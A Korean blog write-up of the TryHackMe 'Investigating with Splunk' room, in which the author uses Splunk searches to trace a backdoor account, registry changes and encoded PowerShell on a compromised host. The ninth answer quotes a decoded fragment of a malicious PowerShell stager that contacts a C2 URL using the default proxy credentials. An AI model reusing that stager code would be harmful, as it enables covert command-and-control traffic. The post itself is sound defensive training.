본문 바로가기
CTF, 워게임 문제 풀이/Try Hack Me

Investigating with Splunk 문제 풀이

by secumark 2024. 5. 2.
728x90

 

SIEM 공부중.

 

Splunk 기초 배우고, 문제 풀이 가볍게 해보려고 한다. 가벼울..지는 모르겠지만

 

 

 

1. How many events were collected and Ingested in the index main?
 
index 'main'에 얼마나 많은 이벤트가 수집되었는지?

 

Splunk 사용에 있어서 가장 기본적인 사용법을 묻고 있다. index는 데이터가 저장된 일종의 DB라고 생각하면 되겠다. 이번 문제에서 main이라는 인덱스에 저장된 이벤트를 분석하면 된다.

 

 

검색전, 오른쪽에 있는 검색 필터를 좀 바꿔줘야 된다. 시간은 All time으로, Mode는 Verbose로 해서 모든 이벤트를 분석하는 것이다.

 

 

총 이벤트 개수는 12,256개

 

2. On one of the infected hosts, the adversary was successful in creating a backdoor user. What is the new username?

 
감염된 호스트 중에서, 새 백도어 유저를 생성하는데 성공한 공격이 있다. 이 new username의 이름을 알아내라..
 
 
Hostname

 

일단 field를 이것저것 확인해봤다. Hostname을 살펴보기도 하고..

 

 

 

그리고 EventID도 봤다. 

 

https://gist.github.com/githubfoam/69eee155e4edafb2e679fb6ac5ea47d0 이거 참조하면서 봄.

 

그러면 새 계정을 생성한 event ID가 있을텐데.. 계정 생성하는 EVENT ID는 4720이었음!

index="main" EventID=4720

 

검색해보니까 event가 딱 1개 나왔다.

 

 

 

A1berto라는 새 계정을 만듦.

 

3. On the same host, a registry key was also updated regarding the new backdoor user. What is the full path of that registry key?

 
그리고 동일한 호스트에 레지스트리 키가 업데이트되었다. new backdoor user에 대한.. 이 레지스트리 키의 절대 경로가 무엇인지?
 

 

뭔가 이거 같은데.. %%1793이 뭔지 모르겠다.

 

A1berto의 SAM 위치와 관련된 것 같은데, 생성은 Michael이 했으니깐

index="main" Hostname="Micheal.Beaven" A1berto

 

이런식으로 검색해봄

 

총 10개의 이벤트가 나왔는데,

 

 

그중 하나가 Registry object added or deleted라는 Message를 가지고 있었다. EvendID는 12. 12는 RegistryEvent, object가 생성되거나 삭제되었을 때 나타난다.

 

 

TargetObject에 경로가 적혀있었음.

 

4. Examine the logs and identify the user that the adversary was trying to impersonate.

 
로그를 분석하고 적이 가장하려고 하는 user를 찾아해야 함.
 
사실 이 문제는 '그래서 적이 가장하려고 하는게 뭔데..?'라는 의문으로 시작해 ,, 무슨 소린지 한참 뒤져보다가

그냥 index=main을 검색했을 때 나오는 User 필드를 확인해보면, A1berto가 Alberto를 가장한 것이었다는 걸 알 수 있다.

 

5. What is the command used to add a backdoor user from a remote computer?

 
원격컴퓨터로부터 backdoor user를 추가하기 위해 사용한 명령어가 무엇인가?
 

 

 

commandline 필드를 확인해봤다. 

 

 

테이블로 만들어서 보면 좀 더 가독성이 좋음.

 

그중에서 Process Creation을 하는 이벤트가 있었고, CommandLine에는 net user 명령어로 A1berto 계정을 생성하는 명령어가 있었다!

 

6. How many times was the login attempt from the backdoor user observed during the investigation?

 
investigation 동안 백도어 유저가 시도한 로그인 횟수를 몇 번이나 관찰할 수 있는가?
 
index="main" User="Cybertees\\Alberto"

 

로 검색했을 때 EventID가 3개가 나온다. 

 

 

근데 뭐.. 로그인 시도를 한 정황이 전혀 안 보인다. 

 

 

저 이벤트들에 대한 Category는 Process Create나 네트워크 Connection detected, 파일 delete 이런거 뿐... 진짜 0이 맞나 싶어서 0을 입력해봤는데 정답이다. A1berto 계정으로 로그인 시도는 한번도 하지 않았다.

 

 

 

7. What is the name of the infected host on which suspicious Powershell commands were executed?

 
의심되는 Powershell 커맨드가 실행된 infected host의 이름이 무엇인지?
index="main"  PowerShell​
 
일단 이렇게 검색해봤다.
 

관련된 이벤트가 190갠가? 나오는데 Hostname이 하나밖에 없다.

 

 

8. PowerShell logging is enabled on this device. How many events were logged for the malicious PowerShell execution?

 
PowerShell logging이 해당 device에 활성화되어 있다. 악성 Powershell 실행에 대해 얼마나 많은 이벤트가 로그되어 있나?
 
 
 
 

Windows PowerShell's Event ID

To enhance incident response capabilities, it is essential to understand and analyze PowerShell related Event IDs. PowerShell is a command-line shell and scripting language.

www.linkedin.com

 

powershell logging event ID 관련해서 해당 글을 참조 했다. 4103이라는 Event ID가 Module Logging 이벤트라고 한다. loading 되거나 unloading되는 Powershell module에 대한 정보를 캡처하는 이벤트. 

 

 

9. An encoded Powershell script from the infected host initiated a web request. What is the full URL?

 

감염된 host로부터 암호화된 Powershell script가 web request에 활성화되었다. full URL이 무엇인지?

 

powershell 부분을 다시 보는중.

 

보니까 뭐 이런 알 수 없는 난독화된 문자열이 있었다. 보통 이런 문자열은 base64 인코딩 된 경우라 해독을 해봤다. (그리고 보통 마지막에 ==가 있으면 base64임)

 

UTF-8로 DECODE할줄 알았는데 UTF-16LE였음..  그 중에서도

 

FroMBASe64StRInG('aAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADAALgA1AA==')));$t='/news.php';$7A6Ed.HEAders.Add('User-Agent',$u);$7a6Ed.PROxY=[SySTEm.NET.WebREQUesT]::DefAULtWeBPRoXY;$7a6ED.PROXY.CRedEntIAlS = [SYsTEM.NEt.CRedEnTIaLCachE]::DEFaUltNETwoRKCrEdeNtIALS;$Script:Proxy = $7a6ed.Proxy;$K=

 

Base64로 또 인코딩되어 있는 주소가 있었다.

 

 

그리고 뒤에 있던 $t='/news.php'; 이 부분까지가 URL. 하지만 http://10.10.10.5/news.php가 정답은 아니다. 잘 모르겠어서 검색해봤더니 URL defang으로 해야하는 거였다. 

 

https://www.ibm.com/docs/ko/cloud-paks/cp-security/1.10?topic=notifications-defang-urls-in-email

 

이메일 알림의 Defang URL

이메일 알림에서 아티팩트의 컨텐츠를 전송할 때 애플리케이션은 사용자가 실수로 악성 링크를 클릭하는 것을 방지하기 위해 자동으로 웹 및 IP 주소를 '방어' 합니다. URL이 무효화되면 다음과

www.ibm.com

 

URL 무효화

 

 

Cyberchef 툴이 있어서 이걸 써봤다.

 

 

순서도 중요.. from base64 -> Remove null bytes, Defang URL로 해주어야 정상적인 결과가 나온다.

 

 

/news.php도 defang 해주어야 함..

 

 


 

다 풀었다. 소요시간이 30분이라고 적혀있는데 2시간 30분 동안 풀었다.. ^^

 

728x90

'CTF, 워게임 문제 풀이 > Try Hack Me' 카테고리의 다른 글

Benign 문제 풀이  (0) 2024.05.02
NMAP 문제 풀이  (0) 2024.04.01
Blue 문제풀이  (0) 2024.03.29
Anthem 문제 풀이  (0) 2024.03.27
Agent Sudo 문제 풀이  (0) 2024.03.26

댓글